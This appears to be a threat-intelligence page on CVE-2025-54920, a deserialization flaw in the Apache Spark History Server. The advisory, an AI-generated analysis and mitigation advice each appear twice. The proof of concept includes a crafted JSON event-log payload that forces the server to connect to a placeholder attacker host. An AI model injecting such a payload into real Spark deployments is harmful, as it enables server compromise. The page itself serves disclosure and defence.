CVE-2025-54920: CWE-502 Deserialization of Untrusted Data in Apache Software Foundation Apache Spark
This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue. Summary Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server. Details The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization. The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability. Proof of Concept: 1. Run Spark with event logging enabled, writing to a writable directory (spark-logs). 2. Inject the following JSON at the beginning of an event log file: { "Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": { "hive.metastore.uris": "thrift://<IP>:<PORT>" } } 3. Start the Spark History Server with logs pointing to the modified directory. 4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection. Impact An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.
AI Analysis
Technical Summary
CVE-2025-54920 is a critical deserialization of untrusted data vulnerability (CWE-502) found in Apache Spark versions prior to 3.5.7 and 4.0.1, specifically affecting the Spark History Server component. The root cause is the use of Jackson's polymorphic deserialization with the @JsonTypeInfo.Id.CLASS annotation on SparkListenerEvent objects, which allows JSON input to specify arbitrary Java class names for deserialization. This design flaw enables an attacker who has write access to the Spark event logs directory to inject malicious JSON payloads into event log files. When the Spark History Server loads these logs, it deserializes the crafted JSON, instantiating arbitrary classes such as org.apache.hive.jdbc.HiveConnection. This class can perform network operations, allowing the attacker to force the History Server to connect to attacker-controlled servers, effectively achieving remote code execution on the host. The vulnerability requires the attacker to have write permissions to the event log directory but does not require user interaction or elevated privileges beyond that. The exploit scenario involves injecting a JSON snippet at the start of an event log file, then restarting or loading logs in the History Server, triggering the malicious deserialization. The vulnerability impacts confidentiality, integrity, and availability, as arbitrary code execution can lead to full system compromise. The Apache Software Foundation has addressed this issue in versions 3.5.7 and 4.0.1 by restricting deserialization behavior. No public exploits have been reported yet, but the high CVSS score of 8.8 reflects the severity and ease of exploitation given write access.
Potential Impact
The impact of CVE-2025-54920 is significant for organizations using vulnerable Apache Spark versions with the History Server enabled. An attacker with write access to the Spark event logs directory can execute arbitrary code on the server hosting the History Server, potentially leading to full system compromise. This can result in unauthorized data access, data manipulation, service disruption, and lateral movement within the network. Since Spark is widely used for big data processing in enterprises, cloud providers, and research institutions, exploitation could compromise sensitive analytics workloads and underlying infrastructure. The vulnerability undermines the confidentiality, integrity, and availability of affected systems. Organizations relying on Spark for critical data pipelines or analytics may face operational downtime and data breaches if exploited. The requirement for write access to event logs limits the attack surface but does not eliminate risk, especially in multi-tenant or shared environments where log directories may be writable by less trusted users. The vulnerability also poses risks to cloud environments where Spark is deployed as a managed service or in containerized setups with shared storage.
Mitigation Recommendations
To mitigate CVE-2025-54920, organizations should immediately upgrade Apache Spark to versions 3.5.7 or 4.0.1 and above, where the deserialization flaw is fixed. Additionally, restrict write permissions to the Spark event logs directory to trusted administrators only, preventing untrusted users from injecting malicious JSON payloads. Implement strict access controls and monitoring on directories used by the Spark History Server. Consider isolating the History Server on dedicated hosts or containers with minimal privileges and network access to reduce impact if compromised. Employ runtime application self-protection (RASP) or endpoint detection and response (EDR) solutions to detect anomalous process behavior indicative of exploitation attempts. Review and harden Spark configurations to disable unnecessary features or plugins that could increase attack surface. Regularly audit and validate event log contents for unauthorized modifications. Finally, maintain up-to-date backups and incident response plans to quickly recover from potential compromises.
Affected Countries
United States, India, China, Germany, United Kingdom, France, Canada, Australia, Brazil, Japan
CVE-2025-54920: CWE-502 Deserialization of Untrusted Data in Apache Software Foundation Apache Spark
Description
This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue. Summary Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server. Details The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization. The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability. Proof of Concept: 1. Run Spark with event logging enabled, writing to a writable directory (spark-logs). 2. Inject the following JSON at the beginning of an event log file: { "Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": { "hive.metastore.uris": "thrift://<IP>:<PORT>" } } 3. Start the Spark History Server with logs pointing to the modified directory. 4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection. Impact An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
CVE-2025-54920 is a critical deserialization of untrusted data vulnerability (CWE-502) found in Apache Spark versions prior to 3.5.7 and 4.0.1, specifically affecting the Spark History Server component. The root cause is the use of Jackson's polymorphic deserialization with the @JsonTypeInfo.Id.CLASS annotation on SparkListenerEvent objects, which allows JSON input to specify arbitrary Java class names for deserialization. This design flaw enables an attacker who has write access to the Spark event logs directory to inject malicious JSON payloads into event log files. When the Spark History Server loads these logs, it deserializes the crafted JSON, instantiating arbitrary classes such as org.apache.hive.jdbc.HiveConnection. This class can perform network operations, allowing the attacker to force the History Server to connect to attacker-controlled servers, effectively achieving remote code execution on the host. The vulnerability requires the attacker to have write permissions to the event log directory but does not require user interaction or elevated privileges beyond that. The exploit scenario involves injecting a JSON snippet at the start of an event log file, then restarting or loading logs in the History Server, triggering the malicious deserialization. The vulnerability impacts confidentiality, integrity, and availability, as arbitrary code execution can lead to full system compromise. The Apache Software Foundation has addressed this issue in versions 3.5.7 and 4.0.1 by restricting deserialization behavior. No public exploits have been reported yet, but the high CVSS score of 8.8 reflects the severity and ease of exploitation given write access.
Potential Impact
The impact of CVE-2025-54920 is significant for organizations using vulnerable Apache Spark versions with the History Server enabled. An attacker with write access to the Spark event logs directory can execute arbitrary code on the server hosting the History Server, potentially leading to full system compromise. This can result in unauthorized data access, data manipulation, service disruption, and lateral movement within the network. Since Spark is widely used for big data processing in enterprises, cloud providers, and research institutions, exploitation could compromise sensitive analytics workloads and underlying infrastructure. The vulnerability undermines the confidentiality, integrity, and availability of affected systems. Organizations relying on Spark for critical data pipelines or analytics may face operational downtime and data breaches if exploited. The requirement for write access to event logs limits the attack surface but does not eliminate risk, especially in multi-tenant or shared environments where log directories may be writable by less trusted users. The vulnerability also poses risks to cloud environments where Spark is deployed as a managed service or in containerized setups with shared storage.
Mitigation Recommendations
To mitigate CVE-2025-54920, organizations should immediately upgrade Apache Spark to versions 3.5.7 or 4.0.1 and above, where the deserialization flaw is fixed. Additionally, restrict write permissions to the Spark event logs directory to trusted administrators only, preventing untrusted users from injecting malicious JSON payloads. Implement strict access controls and monitoring on directories used by the Spark History Server. Consider isolating the History Server on dedicated hosts or containers with minimal privileges and network access to reduce impact if compromised. Employ runtime application self-protection (RASP) or endpoint detection and response (EDR) solutions to detect anomalous process behavior indicative of exploitation attempts. Review and harden Spark configurations to disable unnecessary features or plugins that could increase attack surface. Regularly audit and validate event log contents for unauthorized modifications. Finally, maintain up-to-date backups and incident response plans to quickly recover from potential compromises.
Technical Details
- Data Version
- 5.2
- Assigner Short Name
- apache
- Date Reserved
- 2025-08-01T01:09:45.224Z
- Cvss Version
- null
- State
- PUBLISHED
Threat ID: 69b527072f860ef943974709
Added to database: 3/14/2026, 9:14:47 AM
Last enriched: 3/22/2026, 12:29:47 AM
Last updated: 4/29/2026, 4:36:09 PM
Views: 714
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.